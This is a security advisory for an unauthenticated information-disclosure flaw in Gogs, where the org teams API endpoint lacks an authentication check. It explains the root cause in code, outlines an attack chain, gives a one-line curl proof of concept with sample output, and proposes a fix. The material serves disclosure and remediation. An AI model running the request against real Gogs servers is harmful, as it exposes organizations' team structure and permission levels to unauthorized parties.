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GHSA-744x-3838-5r56
No affected components available
Summary
Gogs has an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint at internal/route/api/v1/org_team.go:8 returns all teams for any organization without requiring authentication. The route group at internal/route/api/v1/api.go:380-385 lacks the reqToken() middleware, and the listTeams() handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.
Affected Versions
Gogs (all current versions)
Vulnerability Details
Root Cause: Missing reqToken() middleware on org teams route group
internal/route/api/v1/api.go lines 380-385:
// Org teams route group — no reqToken() middleware
m.Group("/:orgname", func() {
m.Get("/teams", org.ListTeams) // No auth required
}, orgAssignment(true))
The orgAssignment(true) middleware only loads the organization object — it performs no authentication. The listTeams() handler at org_team.go:8 returns all teams unconditionally:
func ListTeams(c *context.APIContext) {
org := c.Org.Organization
teams, err := database.GetTeamsByOrgID(org.ID)
// Returns all teams — no c.IsLogged check, no permission check
}
Compare with other org endpoints that correctly require authentication:
m.Group("/orgs/:orgname", func() {
// ... other endpoints ...
}, reqToken(), orgAssignment(true, true)) // reqToken() enforces auth
Attack Chain
- Attacker sends
GET /api/v1/orgs/target-org/teamswith no authentication orgAssignment(true)loads the organization but does not check authListTeams()queries all teams and returns them- Response includes team IDs, names, descriptions, and permission levels (read/write/admin/owner)
Proof of Concept
# List all teams in an organization — no authentication needed
curl -s "http://TARGET:3000/api/v1/orgs/myorg/teams" | python3 -m json.tool
# Expected: 200 OK with full team list
# [
# {
# "id": 1,
# "name": "Owners",
# "description": "Admin team",
# "permission": "owner"
# },
# {
# "id": 2,
# "name": "backend-devs",
# "description": "Backend development team",
# "permission": "write"
# }
# ]
Impact
An unauthenticated attacker can:
- Enumerate all teams within any organization, including private/internal teams
- Discover team permission levels (read/write/admin/owner), aiding privilege escalation planning
- Map organizational structure and identify high-value targets (admin/owner teams)
- Harvest team IDs for use in other API calls that may have weaker authorization checks
Suggested Remediation
m.Group("/:orgname", func() {
m.Get("/teams", org.ListTeams)
}, reqToken(), orgAssignment(true))
Add reqToken() middleware to the org teams route group, consistent with other authenticated org endpoints. Additionally, ListTeams() should verify the authenticated user is a member of the organization.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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